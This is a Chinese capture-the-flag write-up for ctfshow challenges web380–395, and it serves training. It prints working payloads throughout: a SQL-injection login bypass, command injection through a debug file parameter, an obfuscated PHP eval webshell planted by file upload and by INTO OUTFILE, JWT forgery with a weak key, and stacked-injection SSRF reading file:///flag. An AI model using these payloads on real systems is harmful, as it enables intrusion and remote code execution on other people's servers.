ctfshow黑盒测试380-395
- web380
文件扫描,发现flag.php和page.php
访问page.php,提示打开$id.php失败
给id参数flag,拼接成flag.php
get:/page.php?id=flag
- web381
直接查看源码,发现 <link rel="stylesheet" href="alsckdfy/layui/css/tree.css">
访问alsckdfy即可得到flag
- web382
访问alsckdfy,发现需要登陆,尝试去sql注入,u=admin' or 1 #&p=123456
直接登陆成功,获得flag
- web383
和上一关一致
- web384
题目提示密码前2位是小写字母,后三位是数字
使用crunch制造密码字典
crunch 5 5 -t @@%%% -o mypass.txt
然后开始bp爆破,最终的结果的密码是xy123
- web385
怎么sql注入,爆破都没用,尝试去信息收集,发现文件夹install,访问instal/?install
提示密码重置为默认密码,再次爆破,爆破密码为admin888
- web386
访问/install发现提示lock.dat已经安装,访问/intall/lock.dat,下载文件,发现只有ok。扫描目录,发现clear.php,访问。发现无效果,加上参数
file /clear.php?file=./install/lock.dat
继续访问install/?install 提示密码重置成功。使用admin888成功登陆
- web387
扫描目录发现robots.txt 发现文件路径debug,访问debug提示输入文件debug/?file=/etc/passwd页面有内容回显 经过尝试发现大致逻辑是这样的,会先去执行一遍文件内容,然后返回执行后的内容
思路1:日志包含
思路2:直接去用 命令分隔符号如 ; & 去让后面的命令得以执行
最终的payload:debug/index.php?file=1%26tac ../alsckdfy/check.php
- web388
本题发下debug/index.php?fiel=xxx无回显
发现editor编辑器泄露,直接访问/alsckdfy/editor
然后访问点击回形针图案,上传本地文件,文件内容支持zip格式,做基础的免杀,文件内容写
<?=
$a='<?p'.'hp ev'.'al($_P'.'OST['.'shell]);?>';
file_put_contents('/var/www/html/shell.php',$a);
文件后缀改zip
访问这个文件就会在网站的根目录生成这个shell.php的木马文件。
用编辑器上传好文件,按照发放的文件路径,利用debug/index.php?file去访问即可
还可以通过在日志里面写入相应的内容,然后用?file去访问日志
- web389
打开debug/index.php提示权限不知,尝试去伪造权限,查看cookie,发现是eyjh 条件反射是jwt,登陆网站https://www.jsongj.com/ede/jwt
进行解码,把user改为admin,然后密钥填写123456进行编码,编码结果写入到应用里面,接着就有权限去使用debug了
之后的操作和前面的一致
- web390
随意点击栏目,发现跳转的url形式发生了变化,经过测试发现存在sql注入,且是数字型注入。可采用联合注入写入shell。
page.php?id=0 union select 1,2,3
page.php?id=0 union select 1,2,"<?php @eval($_POST['shell']);?>" INTO OUTFILE '/var/www/html/shell.php'
成功写入一句话木马到shell.php
- web391
多了一个搜索栏,url变成了/search?title=1
经过测试是单引号闭合
/search?title=1'union select 1,2,"<?php @eval($_POST['shell']);?>" INTO OUTFILE '/var/www/html/shell.php'
- web392
和上一关做法基本一致,不过flag在跟目录下
- web393
多了一个链接 /link?id=4会跳转到百度,说明这里是一从数据库拿到了一个值,然后访问。
直接采用ssrf即可。
search.php?title=好
search.php?title=好'
回显结果不一致,存在注入
search.php?title=0';select sleep(1) --+ 存在堆叠注入
那么只要让id=4指向的是要查询的数据库即可。采用file://伪协议
用sqlmap跑出表名link,字段名url,name,id
直接把字段名改成file:///flag即可
0';update link set url='file:///flag' where id=4 --+
link.php?id=4
显示flag
- web394
过滤了file两种方法,一是用gopher伪协议打redis,二是直接用十六进制字面量
并且路径不在/flag里面,在check.php
search.php?title=1';insert into link(id, name, url)values(18,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);--+
然后link.php?id=18
记得查看源码
下一关同理
- web395
同理上一关

浙公网安备 33010602011771号